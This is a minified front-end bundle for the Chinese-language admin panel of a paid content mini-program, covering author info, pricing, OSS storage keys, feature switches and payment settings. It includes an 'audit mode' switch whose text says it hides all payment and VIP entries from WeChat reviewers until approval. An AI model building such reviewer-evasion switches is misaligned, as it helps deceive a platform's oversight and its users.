0},mpConfig:{...u,appId:u.appId||"",withdrawSubscribeTmplId:u.withdrawSubscribeTmplId||"",mchId:u.mchId||"",minWithdraw:typeof u.minWithdraw=="number"?u.minWithdraw:10,auditMode:u.auditMode??!1},ossConfig:Object.keys(f).length?{endpoint:f.endpoint??"",bucket:f.bucket??"",region:f.region??"",accessKeyId:f.accessKeyId??"",accessKeySecret:f.accessKeySecret??""}:void 0});if(!P||P.success===!1){z("保存失败",(P==null?void 0:P.error)??"未知错误",!0);return}z("已保存","设置已保存成功。")}catch(P){console.error("Save settings error:",P),z("保存失败",P instanceof Error?P.message:String(P),!0)}finally{y(!1)}},oe=P=>{e(P==="system"?{}:{tab:P})};return N?s.jsx("div",{className:"p-8 text-gray-500",children:"加载中..."}):s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-6",children:[s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"系统设置"}),s.jsx("p",{className:"text-gray-400 mt-1",children:"配置全站基础参数与开关"})]}),r==="system"&&s.jsxs(te,{onClick:H,disabled:g,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),g?"保存中...":"保存设置"]})]}),s.jsxs(yd,{value:r,onValueChange:oe,className:"w-full",children:[s.jsxs(Ll,{className:"mb-6 bg-[#0f2137] border border-gray-700/50 p-1",children:[s.jsxs(Zt,{value:"system",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400 data-[state=active]:font-medium",children:[s.jsx(lo,{className:"w-4 h-4 mr-2"}),"系统设置"]}),s.jsxs(Zt,{value:"author",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400 data-[state=active]:font-medium",children:[s.jsx(Tm,{className:"w-4 h-4 mr-2"}),"作者详情"]}),s.jsxs(Zt,{value:"admin",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400 data-[state=active]:font-medium",children:[s.jsx(_c,{className:"w-4 h-4 mr-2"}),"管理员"]}),s.jsxs(Zt,{value:"api-docs",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] text-gray-400 data-[state=active]:font-medium",children:[s.jsx(Yw,{className:"w-4 h-4 mr-2"}),"API 文档"]})]}),s.jsx(en,{value:"system",className:"mt-0",children:s.jsxs("div",{className:"space-y-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Tm,{className:"w-5 h-5 text-[#38bdac]"}),"关于作者"]}),s.jsx(It,{className:"text-gray-400",children:'配置作者信息,将在"关于作者"页面显示'})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"author-name",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(Tm,{className:"w-3 h-3"}),"主理人名称"]}),s.jsx(se,{id:"author-name",className:"bg-[#0a1628] border-gray-700 text-white",value:a.authorInfo.name??"",onChange:P=>i(q=>({...q,authorInfo:{...q.authorInfo,name:P.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"start-date",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(ch,{className:"w-3 h-3"}),"开播日期"]}),s.jsx(se,{id:"start-date",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"例如: 2025年10月15日",value:a.authorInfo.startDate??"",onChange:P=>i(q=>({...q,authorInfo:{...q.authorInfo,startDate:P.target.value}}))})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"live-time",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(ch,{className:"w-3 h-3"}),"直播时间"]}),s.jsx(se,{id:"live-time",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"例如: 06:00-09:00",value:a.authorInfo.liveTime??"",onChange:P=>i(q=>({...q,authorInfo:{...q.authorInfo,liveTime:P.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"platform",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(tj,{className:"w-3 h-3"}),"直播平台"]}),s.jsx(se,{id:"platform",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"例如: Soul派对房",value:a.authorInfo.platform??"",onChange:P=>i(q=>({...q,authorInfo:{...q.authorInfo,platform:P.target.value}}))})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"description",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(Br,{className:"w-3 h-3"}),"简介描述"]}),s.jsx(se,{id:"description",className:"bg-[#0a1628] border-gray-700 text-white",value:a.authorInfo.description??"",onChange:P=>i(q=>({...q,authorInfo:{...q.authorInfo,description:P.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"bio",className:"text-gray-300",children:"详细介绍"}),s.jsx(_l,{id:"bio",className:"bg-[#0a1628] border-gray-700 text-white min-h-[100px]",placeholder:"输入作者详细介绍...",value:a.authorInfo.bio??"",onChange:P=>i(q=>({...q,authorInfo:{...q.authorInfo,bio:P.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{htmlFor:"ckb-lead-api-key",className:"text-gray-300 flex items-center gap-1",children:[s.jsx(Ss,{className:"w-3 h-3"}),"链接卡若存客宝密钥"]}),s.jsx(se,{id:"ckb-lead-api-key",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如 xxxxx-xxxxx-xxxxx-xxxxx(留空则用 .env 默认)",value:a.ckbLeadApiKey??"",onChange:P=>i(q=>({...q,ckbLeadApiKey:P.target.value}))}),s.jsx("p",{className:"text-xs text-gray-500",children:"小程序首页「链接卡若」留资接口使用的存客宝 API Key,优先于 .env 配置"})]}),s.jsxs("div",{className:"mt-4 p-4 rounded-xl bg-[#0a1628] border border-[#38bdac]/30",children:[s.jsx("p",{className:"text-xs text-gray-500 mb-2",children:"预览效果"}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-12 h-12 rounded-full bg-gradient-to-br from-[#00CED1] to-[#20B2AA] flex items-center justify-center text-xl font-bold text-white",children:(a.authorInfo.name??"K").charAt(0)}),s.jsxs("div",{children:[s.jsx("p",{className:"text-white font-semibold",children:a.authorInfo.name}),s.jsx("p",{className:"text-gray-400 text-xs",children:a.authorInfo.description}),s.jsxs("p",{className:"text-[#38bdac] text-xs mt-1",children:["每日 ",a.authorInfo.liveTime," · ",a.authorInfo.platform]})]})]})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(dh,{className:"w-5 h-5 text-[#38bdac]"}),"价格设置"]}),s.jsx(It,{className:"text-gray-400",children:"配置书籍和章节的定价"})]}),s.jsx(Ee,{className:"space-y-4",children:s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"单节价格 (元)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:a.sectionPrice,onChange:P=>i(q=>({...q,sectionPrice:Number.parseFloat(P.target.value)||1}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"整本价格 (元)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:a.baseBookPrice,onChange:P=>i(q=>({...q,baseBookPrice:Number.parseFloat(P.target.value)||9.9}))})]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(yi,{className:"w-5 h-5 text-[#38bdac]"}),"小程序配置"]}),s.jsx(It,{className:"text-gray-400",children:"订阅消息模板、支付商户号等,小程序从 /api/miniprogram/config 读取(API 地址由 app.js baseUrl 控制)"})]}),s.jsx(Ee,{className:"space-y-4",children:s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"小程序 AppID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"wxb8bbb2b10dec74aa",value:u.appId??"",onChange:P=>h(q=>({...q,appId:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"提现订阅模板 ID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"用户申请提现时需授权",value:u.withdrawSubscribeTmplId??"",onChange:P=>h(q=>({...q,withdrawSubscribeTmplId:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"微信支付商户号"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"1318592501",value:u.mchId??"",onChange:P=>h(q=>({...q,mchId:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"最低提现金额 (元)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:u.minWithdraw??10,onChange:P=>h(q=>({...q,minWithdraw:Number.parseFloat(P.target.value)||10}))})]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(iM,{className:"w-5 h-5 text-[#38bdac]"}),"OSS 配置(阿里云对象存储)"]}),s.jsx(It,{className:"text-gray-400",children:"endpoint、bucket、accessKey 等,用于图片/文件上传"})]}),s.jsx(Ee,{className:"space-y-4",children:s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"Endpoint"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"oss-cn-hangzhou.aliyuncs.com",value:f.endpoint??"",onChange:P=>m(q=>({...q,endpoint:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"Bucket"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"bucket 名称",value:f.bucket??"",onChange:P=>m(q=>({...q,bucket:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"Region"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"oss-cn-hangzhou",value:f.region??"",onChange:P=>m(q=>({...q,region:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"AccessKey ID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"AccessKey ID",value:f.accessKeyId??"",onChange:P=>m(q=>({...q,accessKeyId:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"AccessKey Secret"}),s.jsx(se,{type:"password",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"AccessKey Secret",value:f.accessKeySecret??"",onChange:P=>m(q=>({...q,accessKeySecret:P.target.value}))})]})]})})]}),s.jsxs(Ce,{className:`bg-[#0f2137] shadow-xl ${u.auditMode?"border-amber-500/50 border-2":"border-gray-700/50"}`,children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(_c,{className:"w-5 h-5 text-amber-400"}),"小程序审核模式"]}),s.jsx(It,{className:"text-gray-400",children:"提交微信审核前开启,审核通过后关闭即可恢复支付功能"})]}),s.jsx(Ee,{children:s.jsxs("div",{className:`flex items-center justify-between p-4 rounded-lg border ${u.auditMode?"bg-amber-500/10 border-amber-500/30":"bg-[#0a1628] border-gray-700/50"}`,children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(_c,{className:`w-4 h-4 ${u.auditMode?"text-amber-400":"text-gray-400"}`}),s.jsx(X,{htmlFor:"audit-mode",className:"text-white font-medium cursor-pointer",children:u.auditMode?"审核模式(已开启)":"审核模式(已关闭)"})]}),s.jsx("p",{className:"text-xs text-gray-400 ml-6",children:u.auditMode?"当前已隐藏所有支付、VIP、充值、收益等入口,审核员看不到任何付费内容":"关闭状态,小程序正常显示所有功能(含支付、VIP 等)"})]}),s.jsx(kt,{id:"audit-mode",checked:u.auditMode??!1,disabled:fe,onCheckedChange:$})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(lo,{className:"w-5 h-5 text-[#38bdac]"}),"功能开关"]}),s.jsx(It,{className:"text-gray-400",children:"控制各个功能模块的显示/隐藏"})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex items-center justify-between p-4 rounded-lg bg-[#0a1628] border border-gray-700/50",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(Zn,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx(X,{htmlFor:"match-enabled",className:"text-white font-medium cursor-pointer",children:"找伙伴功能"})]}),s.jsx("p",{className:"text-xs text-gray-400 ml-6",children:"控制小程序和Web端的找伙伴功能显示"})]}),s.jsx(kt,{id:"match-enabled",checked:o.matchEnabled,disabled:R,onCheckedChange:P=>ne("matchEnabled",P)})]}),s.jsxs("div",{className:"flex items-center justify-between p-4 rounded-lg bg-[#0a1628] border border-gray-700/50",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(Xw,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx(X,{htmlFor:"referral-enabled",className:"text-white font-medium cursor-pointer",children:"推广功能"})]}),s.jsx("p",{className:"text-xs text-gray-400 ml-6",children:"控制推广中心的显示(我的页面入口)"})]}),s.jsx(kt,{id:"referral-enabled",checked:o.referralEnabled,disabled:R,onCheckedChange:P=>ne("referralEnabled",P)})]}),s.jsxs("div",{className:"flex items-center justify-between p-4 rounded-lg bg-[#0a1628] border border-gray-700/50",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(Br,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx(X,{htmlFor:"search-enabled",className:"text-white font-medium cursor-pointer",children:"搜索功能"})]}),s.jsx("p",{className:"text-xs text-gray-400 ml-6",children:"控制首页、目录页搜索栏的显示"})]}),s.jsx(kt,{id:"search-enabled",checked:o.searchEnabled,disabled:R,onCheckedChange:P=>ne("searchEnabled",P)})]}),s.jsxs("div",{className:"flex items-center justify-between p-4 rounded-lg bg-[#0a1628] border border-gray-700/50",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(lo,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx(X,{htmlFor:"about-enabled",className:"text-white font-medium cursor-pointer",children:"关于页面"})]}),s.jsx("p",{className:"text-xs text-gray-400 ml-6",children:"控制关于页面的访问"})]}),s.jsx(kt,{id:"about-enabled",checked:o.aboutEnabled,disabled:R,onCheckedChange:P=>ne("aboutEnabled",P)})]})]}),s.jsx("div",{className:"p-3 rounded-lg bg-blue-500/10 border border-blue-500/30",children:s.jsx("p",{className:"text-xs text-blue-300",children:"💡 关闭功能后,相关入口会自动隐藏。建议在功能开发完成后再开启。"})})]})]})]})}),s.jsx(en,{value:"author",className:"mt-0",children:s.jsx(uV,{})}),s.jsx(en,{value:"admin",className:"mt-0",children:s.jsx(hV,{})}),s.jsx(en,{value:"api-docs",className:"mt-0",children:s.jsx(F4,{})})]}),s.jsx(Dt,{open:v,onOpenChange:k,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white",showCloseButton:!0,children:[s.jsxs(Lt,{children:[s.jsx(_t,{className:O?"text-red-400":"text-[#38bdac]",children:C}),s.jsx(yf,{className:"text-gray-400 whitespace-pre-wrap pt-2",children:T})]}),s.jsx(on,{className:"mt-4",children:s.jsx(te,{onClick:()=>k(!1),className:O?"bg-gray-600 hover:bg-gray-500":"bg-[#38bdac] hover:bg-[#2da396]",children:"确定"})})]})})]})}const ww={wechat:{enabled:!0,qrCode:"/images/wechat-pay.png",account:"卡若",websiteAppId:"",merchantId:"",groupQrCode:"/images/party-group-qr.png"},alipay:{enabled:!0,qrCode:"/images/alipay.png",account:"卡若",partnerId:"",securityKey:""},usdt:{enabled:!1,network:"TRC20",address:"",exchangeRate:7.2},paypal:{enabled:!1,email:"",exchangeRate:7.2}};function bV(){const[t,e]=b.useState(!1),[n,r]=b.useState(ww),[a,i]=b.useState(""),o=async()=>{e(!0);try{const k=await De("/api/config");k!=null&&k.paymentMethods&&r({...ww,...k.paymentMethods})}catch(k){console.error(k)}finally{e(!1)}};b.useEffect(()=>{o()},[]);const c=async()=>{e(!0);try{await vt("/api/db/config",{key:"payment_methods",value:n,description:"支付方式配置"}),ie.success("配置已保存!")}catch(k){console.error("保存失败:",k),ie.error("保存失败: "+(k instanceof Error?k.message:String(k)))}finally{e(!1)}},u=(k,C)=>{navigator.clipboard.writeText(k),i(C),setTimeout(()=>i(""),2e3)},h=(k,C)=>{r(E=>({...E,wechat:{...E.wechat,[k]:C}}))},f=(k,C)=>{r(E=>({...E,alipay:{...E.alipay,[k]:C}}))},m=(k,C)=>{r(E=>({...E,usdt:{...E.usdt,[k]:C}}))},g=(k,C)=>{r(E=>({...E,paypal:{...E.paypal,[k]:C}}))},y=n.wechat,N=n.alipay,w=n.usdt,v=n.paypal;return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsx("h1",{className:"text-2xl font-bold mb-2 text-white",children:"支付配置"}),s.jsx("p",{className:"text-gray-400",children:"配置微信、支付宝、USDT、PayPal等支付参数"})]}),s.jsxs("div",{className:"flex gap-3",children:[s.jsxs(te,{variant:"outline",onClick:o,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${t?"animate-spin":""}`}),"同步配置"]}),s.jsxs(te,{onClick:c,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),"保存配置"]})]})]}),s.jsx("div",{className:"mb-6 bg-[#07C160]/10 border border-[#07C160]/30 rounded-xl p-4",children:s.jsxs("div",{className:"flex items-start gap-3",children:[s.jsx(Gw,{className:"w-5 h-5 text-[#07C160] flex-shrink-0 mt-0.5"}),s.jsxs("div",{className:"text-sm",children:[s.jsx("p",{className:"font-medium mb-2 text-[#07C160]",children:"如何获取微信群跳转链接?"}),s.jsxs("ol",{className:"text-[#07C160]/80 space-y-1 list-decimal list-inside",children:[s.jsx("li",{children:"打开微信,进入目标微信群"}),s.jsx("li",{children:'点击右上角"..." → "群二维码"'}),s.jsx("li",{children:'点击右上角"..." → "发送到电脑"'}),s.jsx("li",{children:"在电脑上保存二维码图片,上传到图床获取URL"}),s.jsx("li",{children:"或使用草料二维码等工具解析二维码获取链接"})]}),s.jsx("p",{className:"text-[#07C160]/60 mt-2",children:"提示:微信群二维码7天后失效,建议使用活码工具"})]})]})}),s.jsxs(yd,{defaultValue:"wechat",className:"space-y-6",children:[s.jsxs(Ll,{className:"bg-[#0f2137] border border-gray-700/50 p-1 grid grid-cols-4 w-full",children:[s.jsxs(Zt,{value:"wechat",className:"data-[state=active]:bg-[#07C160]/20 data-[state=active]:text-[#07C160] text-gray-400",children:[s.jsx(yi,{className:"w-4 h-4 mr-2"}),"微信"]}),s.jsxs(Zt,{value:"alipay",className:"data-[state=active]:bg-[#1677FF]/20 data-[state=active]:text-[#1677FF] text-gray-400",children:[s.jsx(Fv,{className:"w-4 h-4 mr-2"}),"支付宝"]}),s.jsxs(Zt,{value:"usdt",className:"data-[state=active]:bg-[#26A17B]/20 data-[state=active]:text-[#26A17B] text-gray-400",children:[s.jsx(zv,{className:"w-4 h-4 mr-2"}),"USDT"]}),s.jsxs(Zt,{value:"paypal",className:"data-[state=active]:bg-[#003087]/20 data-[state=active]:text-[#169BD7] text-gray-400",children:[s.jsx(Rg,{className:"w-4 h-4 mr-2"}),"PayPal"]})]}),s.jsx(en,{value:"wechat",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between pb-2",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs(Qe,{className:"text-[#07C160] flex items-center gap-2",children:[s.jsx(yi,{className:"w-5 h-5"}),"微信支付配置"]}),s.jsx(It,{className:"text-gray-400",children:"配置微信支付参数和跳转链接"})]}),s.jsx(kt,{checked:!!y.enabled,onCheckedChange:k=>h("enabled",k)})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"网站AppID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white font-mono text-sm",value:String(y.websiteAppId??""),onChange:k=>h("websiteAppId",k.target.value)})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"商户号"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white font-mono text-sm",value:String(y.merchantId??""),onChange:k=>h("merchantId",k.target.value)})]})]}),s.jsxs("div",{className:"border-t border-gray-700/50 pt-4 space-y-4",children:[s.jsxs("h4",{className:"text-white font-medium flex items-center gap-2",children:[s.jsx(Us,{className:"w-4 h-4 text-[#38bdac]"}),"跳转链接配置(核心功能)"]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"微信收款码/支付链接"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"https://收款码图片URL 或 weixin://支付链接",value:String(y.qrCode??""),onChange:k=>h("qrCode",k.target.value)}),s.jsx("p",{className:"text-xs text-gray-500",children:"用户点击微信支付后显示的二维码图片URL"})]}),s.jsxs("div",{className:"space-y-2 bg-[#07C160]/5 p-4 rounded-xl border border-[#07C160]/20",children:[s.jsx(X,{className:"text-[#07C160] font-medium",children:"微信群跳转链接(支付成功后跳转)"}),s.jsx(se,{className:"bg-[#0a1628] border-[#07C160]/30 text-white placeholder:text-gray-500",placeholder:"https://weixin.qq.com/g/... 或微信群二维码图片URL",value:String(y.groupQrCode??""),onChange:k=>h("groupQrCode",k.target.value)}),s.jsx("p",{className:"text-xs text-[#07C160]/70",children:"用户支付成功后将自动跳转到此链接,进入指定微信群"})]})]})]})]})}),s.jsx(en,{value:"alipay",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between pb-2",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs(Qe,{className:"text-[#1677FF] flex items-center gap-2",children:[s.jsx(Fv,{className:"w-5 h-5"}),"支付宝配置"]}),s.jsx(It,{className:"text-gray-400",children:"已加载真实支付宝参数"})]}),s.jsx(kt,{checked:!!N.enabled,onCheckedChange:k=>f("enabled",k)})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"合作者身份 (PID)"}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white font-mono text-sm",value:String(N.partnerId??""),onChange:k=>f("partnerId",k.target.value)}),s.jsx(te,{size:"icon",variant:"outline",className:"border-gray-700 bg-transparent",onClick:()=>u(String(N.partnerId??""),"pid"),children:a==="pid"?s.jsx(ff,{className:"w-4 h-4 text-green-500"}):s.jsx(Bx,{className:"w-4 h-4 text-gray-400"})})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"安全校验码 (Key)"}),s.jsx(se,{type:"password",className:"bg-[#0a1628] border-gray-700 text-white font-mono text-sm",value:String(N.securityKey??""),onChange:k=>f("securityKey",k.target.value)})]})]}),s.jsxs("div",{className:"border-t border-gray-700/50 pt-4 space-y-4",children:[s.jsxs("h4",{className:"text-white font-medium flex items-center gap-2",children:[s.jsx(Us,{className:"w-4 h-4 text-[#38bdac]"}),"跳转链接配置"]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"支付宝收款码/跳转链接"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"https://qr.alipay.com/... 或收款码图片URL",value:String(N.qrCode??""),onChange:k=>f("qrCode",k.target.value)}),s.jsx("p",{className:"text-xs text-gray-500",children:"用户点击支付宝支付后显示的二维码"})]})]})]})]})}),s.jsx(en,{value:"usdt",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between pb-2",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs(Qe,{className:"text-[#26A17B] flex items-center gap-2",children:[s.jsx(zv,{className:"w-5 h-5"}),"USDT配置"]}),s.jsx(It,{className:"text-gray-400",children:"配置加密货币收款地址"})]}),s.jsx(kt,{checked:!!w.enabled,onCheckedChange:k=>m("enabled",k)})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"网络类型"}),s.jsxs("select",{className:"w-full bg-[#0a1628] border border-gray-700 text-white rounded-md p-2",value:String(w.network??"TRC20"),onChange:k=>m("network",k.target.value),children:[s.jsx("option",{value:"TRC20",children:"TRC20 (波场)"}),s.jsx("option",{value:"ERC20",children:"ERC20 (以太坊)"}),s.jsx("option",{value:"BEP20",children:"BEP20 (币安链)"})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"收款地址"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white font-mono text-sm",placeholder:"T... (TRC20地址)",value:String(w.address??""),onChange:k=>m("address",k.target.value)})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"汇率 (1 USD = ? CNY)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:Number(w.exchangeRate)??7.2,onChange:k=>m("exchangeRate",Number.parseFloat(k.target.value)||7.2)})]})]})]})}),s.jsx(en,{value:"paypal",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between pb-2",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs(Qe,{className:"text-[#169BD7] flex items-center gap-2",children:[s.jsx(Rg,{className:"w-5 h-5"}),"PayPal配置"]}),s.jsx(It,{className:"text-gray-400",children:"配置PayPal收款账户"})]}),s.jsx(kt,{checked:!!v.enabled,onCheckedChange:k=>g("enabled",k)})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"PayPal邮箱"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"your@email.com",value:String(v.email??""),onChange:k=>g("email",k.target.value)})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"汇率 (1 USD = ? CNY)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:Number(v.exchangeRate)??7.2,onChange:k=>g("exchangeRate",Number(k.target.value)||7.2)})]})]})]})})]})]})}const vV={siteName:"卡若日记",siteTitle:"一场SOUL的创业实验场",siteDescription:"来自Soul派对房的真实商业故事",logo:"/logo.png",favicon:"/favicon.ico",primaryColor:"#00CED1"},NV={home:{enabled:!0,label:"首页"},chapters:{enabled:!0,label:"目录"},match:{enabled:!0,label:"匹配"},my:{enabled:!0,label:"我的"}},wV={homeTitle:"一场SOUL的创业实验场",homeSubtitle:"来自Soul派对房的真实商业故事",chaptersTitle:"我要看",matchTitle:"语音匹配",myTitle:"我的",aboutTitle:"关于作者"};function jV(){const[t,e]=b.useState({siteConfig:{...vV},menuConfig:{...NV},pageConfig:{...wV}}),[n,r]=b.useState(!1),[a,i]=b.useState(!1);b.useEffect(()=>{De("/api/config").then(f=>{f!=null&&f.siteConfig&&e(m=>({...m,siteConfig:{...m.siteConfig,...f.siteConfig}})),f!=null&&f.menuConfig&&e(m=>({...m,menuConfig:{...m.menuConfig,...f.menuConfig}})),f!=null&&f.pageConfig&&e(m=>({...m,pageConfig:{...m.pageConfig,...f.pageConfig}}))}).catch(console.error)},[]);const o=async()=>{i(!0);try{await vt("/api/db/config",{key:"site_config",value:t.siteConfig,description:"网站基础配置"}),await vt("/api/db/config",{key:"menu_config",value:t.menuConfig,description:"底部菜单配置"}),await 